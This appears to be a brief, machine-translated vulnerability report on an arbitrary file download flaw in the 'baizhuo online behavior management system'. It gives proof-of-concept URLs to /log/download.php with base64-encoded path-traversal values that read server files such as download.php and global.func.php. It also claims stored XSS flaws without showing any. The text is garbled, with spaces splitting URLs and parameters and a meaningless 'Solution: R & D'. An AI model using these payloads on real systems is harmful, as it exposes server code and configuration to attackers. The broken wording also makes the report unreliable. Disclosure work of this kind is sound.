Arbitrary File Download from baizhuo online behavior management system

No access control is implemented during template download, resulting in the Arbitrary File Download Vulnerability.
When adding management users, you can add them in batches and add them as template downloads. Template download url: https://x.x.x.x: 8443/log/download. php? Among them, Li4vY29uZmlnL2FkZF91c2VyX2RlbW8uY3N2-> ../config/add_user_demo.csv (base64 encoding) decoded path: https://x.x.x.x: 8443/log/download. php? Type = filedown & file = .. /config/add_user_demo.csv&filename=add_user_demo.csv construct a path and encode it with base64 .. /log/download. php --> Li4vbG9nL2Rvd25sb2FkLnBocA = https://x.x.x.x: 8443/log/download. php? Type = filedown & file = Li4vbG9nL2Rvd25sb2FkLnBocA ==& filename = download. php also has multiple storage xss vulnerability proof: Demo 1 https://x.x.x.x: 8443/log/download. php? Type = filedown & file = Li4vbG9nL2Rvd25sb2FkLnBocA ==& filename = download. php


DEMO 2 https://x.x.x.x: 8443/log/download. php? Type = filedown & file = Li4vZ2xvYmFsLmZ1bmMucGhw & filename = global. func. phpSolution:

R & D